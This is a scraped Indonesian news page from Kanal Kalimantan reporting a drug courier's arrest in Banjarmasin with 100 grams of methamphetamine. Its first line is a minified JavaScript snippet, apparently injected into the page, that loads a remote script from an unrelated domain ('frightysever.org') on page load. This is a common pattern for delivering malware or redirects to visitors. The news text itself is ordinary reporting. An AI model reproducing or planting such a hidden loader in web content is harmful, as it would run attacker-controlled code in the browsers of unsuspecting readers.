(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Berdalih pengangguran, RF alias Otek, nekat menjadi kurir narkoba demi uang ratusan ribu.
Hal tersebut diakui Otek, warga Jalan Dahlia Gang Budaya, RT 31 Banjarmasin Barat, yang ditangkap polisi membawa 100 gram sabu. Otek selama ini tak ada pekerjaan, karena itu mau diiming-imingi uang Rp 100 hingga Rp 500 ribu per sekali antar.
“Itupun tergantung barang yang akan diantar, selain itu saya juga baru saja sebagai pesuruh dan selama ini tak pernah ketemu sama bandar hanya melalui telepon seluler, demi kebutuhan hidup sehari-hari itulah,†ujar RF alias Otek saat gelar perkara, di Mapolsek Banjarmasin Utara, Selasa (30/3/2021).
Kapolsekta Banjarmasin Utara Kompol Indra Agung Permana Putra, melalui Kanit Reskrim Ipda Hendra Agustian Ginting mengatakan, anggota masih mendalami kasus Narkoba untuk dapat diketahui bandar sebenarnya.
Tersangka RF sendiri ditangkap, saat berada di Jalan Sultan Adam, Banjarmasin Utara pada Minggu (28/3/2021) yang lalu, sekitar pukul 14.00 Wita. Bersamaan dengan sejumlah barang bukti berupa satu buah telepon genggam merk realmi warna biru, satu buah sepeda motor Honda Vario, warna hitam putih DA 6632 AAE.
Baca juga : 20 IUP Lolos ‘No Database’ ESDM Kalsel, DPRD dan Kejati Didesak Selidiki!
“Satu paket Narkotika jenis sabu dengan berat 100 gram yang dibungkus dengan kertas koran,†ungkap Ginting.
Sebelum tertangkapnya tersangka, anggota sering mendapatkan informasi dari masyarakat sekitar, ada orang yang mencurigakan sering melakukan transaksi Narkotika di Tempat Kejadian Pekara (TKP), lalu anggota mencoba melakukan penyelidikan soal laporan tersebut.
Setelah melakukan penyelidikan beberapa hari, alhasil anggota berhasil menangkap tersangka dengan cara menabrakan sepeda motor ke sepeda motor tersangka, supaya tak bisa berkutik lagi. Lalu tersangka langsung dibawa ke Mapolsek Banjarmasin Utara guna pemeriksaan lebih lanjut.
“Untuk tersangka, dikenakan pasal 114 ayat 2 jo, 112 ayat 2 UU No. 35 Tahun 2009 tentang Narkotika,†pungkas Ginting. (kanalkalimantan.com/tius)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.